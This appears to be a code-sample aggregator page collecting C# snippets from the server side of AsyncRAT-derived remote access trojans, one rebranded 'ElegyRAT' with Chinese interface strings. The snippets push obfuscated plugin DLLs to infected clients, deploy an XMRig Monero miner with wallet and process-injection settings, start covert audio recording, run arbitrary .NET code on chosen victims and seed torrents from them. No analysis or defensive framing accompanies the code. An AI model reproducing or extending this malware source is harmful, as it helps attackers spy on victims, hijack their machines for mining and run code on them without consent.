示例#1
0
 public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb
 {
     try
     {
         foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
         {
             if (hash == GetHash.GetChecksum(plugin))
             {
                 MsgPack msgPack = new MsgPack();
                 msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
                 msgPack.ForcePathObject("Dll").SetAsBytes(Zip.Compress(File.ReadAllBytes(plugin)));
                 msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin));
                 ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
                 //new HandleLogs().Addmsg($"Plugin {Path.GetFileName(plugin)} sent to client {Ip}", Color.Blue);
                 new HandleLogs().Addmsg($"插件 {Path.GetFileName(plugin)} 发送到客户端 {Ip}", Color.Blue);
                 break;
             }
         }
     }
     catch (Exception ex)
     {
         //new HandleLogs().Addmsg($"Client {Ip} {ex.Message}", Color.Red);
         new HandleLogs().Addmsg($"客户端 {Ip} {ex.Message}", Color.Red);
     }
 }
        private void Button2_Click(object sender, EventArgs e)
        {
            try
            {
                if (!IsOk)
                {
                    return;
                }
                MsgPack packet = new MsgPack();
                packet.ForcePathObject("Packet").AsString = "torrent";
                packet.ForcePathObject("Option").AsString = "seed";
                packet.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(textBox1.Text));

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Packet").AsString = "plugin";
                msgpack.ForcePathObject("Dll").AsString    = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll"));

                msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());


                foreach (ListViewItem itm in Program.form1.listView1.SelectedItems)
                {
                    Clients client = (Clients)itm.Tag;
                    ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
                }
                this.Close();
            }
            catch (Exception ex) { MessageBox.Show(ex.Message); }
        }
示例#3
0
        //Start or stop audio recording
        private void btnStartStopRecord_Click(object sender, EventArgs e)
        {
            if (textBox1.Text != null && textBox1.Text != "")
            {
                MsgPack packet = new MsgPack();
                packet.ForcePathObject("Pac_ket").AsString = "audio";
                packet.ForcePathObject("Second").AsString  = textBox1.Text;

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin";
                msgpack.ForcePathObject("Dll").AsString     = (GetHash.GetChecksum(@"Plugins\Audio.dll"));
                msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
                ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
                Thread.Sleep(100);
                btnStartStopRecord.Text    = "Wait...";
                btnStartStopRecord.Enabled = false;
                DateTime dt1         = DateTime.Now;
                int      timetosleep = Convert.ToInt32(textBox1.Text) * 1000;
                while ((DateTime.Now - dt1).TotalMilliseconds < timetosleep)
                {
                    continue;
                }
                ;
                btnStartStopRecord.Text    = "Start Recording";
                btnStartStopRecord.Enabled = true;
            }
            else
            {
                MessageBox.Show("Input seconds to record.");
            }
        }
示例#4
0
 public static void SetPlugins()
 {
     try
     {
         foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
         {
             Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(plugin))));
         }
     }
     catch (Exception ex)
     {
         new HandleLogs().Addmsg(ex.Message, Color.Red);
     }
 }
示例#5
0
        public void SendMiner(Clients client)
        {
            MsgPack packet = new MsgPack();

            packet.ForcePathObject("Packet").AsString  = "xmr";
            packet.ForcePathObject("Command").AsString = "save";
            packet.ForcePathObject("Bin").SetAsBytes(Zip.Compress(File.ReadAllBytes(@"Plugins\xmrig.bin")));
            packet.ForcePathObject("Hash").AsString     = GetHash.GetChecksum(@"Plugins\xmrig.bin");
            packet.ForcePathObject("Pool").AsString     = XmrSettings.Pool;
            packet.ForcePathObject("Wallet").AsString   = XmrSettings.Wallet;
            packet.ForcePathObject("Pass").AsString     = XmrSettings.Pass;
            packet.ForcePathObject("InjectTo").AsString = XmrSettings.InjectTo;
            ThreadPool.QueueUserWorkItem(client.Send, packet.Encode2Bytes());
            Debug.WriteLine("XMR sent");
        }
示例#6
0
        private void FormChat_Load(object sender, EventArgs e)
        {
            string nick = Interaction.InputBox("TYPE YOUR NICKNAME", "CHAT", "Admin");

            if (string.IsNullOrEmpty(nick))
            {
                this.Close();
            }
            else
            {
                Nickname = nick;
                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin";
                msgpack.ForcePathObject("Dll").AsString     = (GetHash.GetChecksum(@"Plugins\Chat.dll"));
                ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes());
            }
        }
        private void Button1_Click(object sender, EventArgs e)
        {
            if (listBoxReferences.Items.Count == 0 || string.IsNullOrWhiteSpace(txtBox.Text))
            {
                return;
            }
            //if (!txtBox.Text.ToLower().Contains("try") && !txtBox.Text.ToLower().Contains("catch")) MessageBox.Show("Please add try catch", "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            if (!txtBox.Text.ToLower().Contains("try") && !txtBox.Text.ToLower().Contains("catch"))
            {
                MessageBox.Show("请添加异常处理", "ElegyRAT | Dot 网络编辑器", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            }

            if (Program.form1.listView1.SelectedItems.Count > 0)
            {
                List <string> reference = new List <string>();
                foreach (string ip in listBoxReferences.Items)
                {
                    reference.Add(ip);
                }

                MsgPack packet = new MsgPack();
                packet.ForcePathObject("Packet").AsString    = "executeDotNetCode";
                packet.ForcePathObject("Option").AsString    = comboLang.Text;
                packet.ForcePathObject("Code").AsString      = txtBox.Text;
                packet.ForcePathObject("Reference").AsString = string.Join(",", reference);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Packet").AsString = "plugin";
                msgpack.ForcePathObject("Dll").AsString    = (GetHash.GetChecksum(@"Plugins\Miscellaneous.dll"));
                msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());

                foreach (ListViewItem item in Program.form1.listView1.SelectedItems)
                {
                    Clients client = (Clients)item.Tag;
                    ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
                }
                //MessageBox.Show("Executed!", "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Information);
                MessageBox.Show("执行!", "ElegyRAT | Dot 网络编辑器", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            else
            {
                //MessageBox.Show("Selected client = 0", "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                MessageBox.Show("选择 客户端 = 0", "ElegyRAT | Dot 网络编辑器", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
            }
        }
示例#8
0
        public static void SetPlugins()
        {
            try
            {
                foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
                {
                    Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
#if DEBUG
                    byte[] plg = Zip.Compress(File.ReadAllBytes(plugin));
                    Debug.WriteLine($"{plugin} : {BytesToString(plg.Length)}");
#endif
                }
            }
            catch (Exception ex)
            {
                new HandleLogs().Addmsg(ex.Message, Color.Red);
            }
        }
示例#9
0
 public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb
 {
     try
     {
         foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
         {
             if (hash == GetHash.GetChecksum(plugin))
             {
                 MsgPack msgPack = new MsgPack();
                 msgPack.ForcePathObject("Packet").SetAsString("savePlugin");
                 msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
                 msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin));
                 ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
                 break;
             }
         }
     }
     catch (Exception ex)
     {
         new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red);
     }
 }
示例#10
0
        //Start or stop audio recording
        private void btnStartStopRecord_Click(object sender, EventArgs e)
        {
            if (textBox1.Text != null)
            {
                MsgPack packet = new MsgPack();
                packet.ForcePathObject("Pac_ket").AsString = "audio";
                packet.ForcePathObject("Second").AsString  = textBox1.Text;

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin";
                msgpack.ForcePathObject("Dll").AsString     = (GetHash.GetChecksum(@"Plugins\Audio.dll"));
                msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
                ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
                Thread.Sleep(100);
                btnStartStopRecord.Text    = "Wait...";
                btnStartStopRecord.Enabled = false;
            }
            else
            {
                MessageBox.Show("Input seconds to record.");
            }
        }
示例#11
0
 public void SendPlugin(string hash)
 {
     try
     {
         foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
         {
             if (hash == GetHash.GetChecksum(plugin))
             {
                 MsgPack msgPack = new MsgPack();
                 msgPack.ForcePathObject("Pac_ket").SetAsString("save_Plugin");
                 msgPack.ForcePathObject("Dll").SetAsBytes(Zip.Compress(File.ReadAllBytes(plugin)));
                 msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin));
                 ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes());
                 new HandleLogs().Addmsg($"Plugin {Path.GetFileName(plugin)} Sent to {Ip}", Color.Blue);
                 break;
             }
         }
     }
     catch (Exception ex)
     {
         new HandleLogs().Addmsg($"Clinet {Ip} {ex.Message}", Color.Red);
     }
 }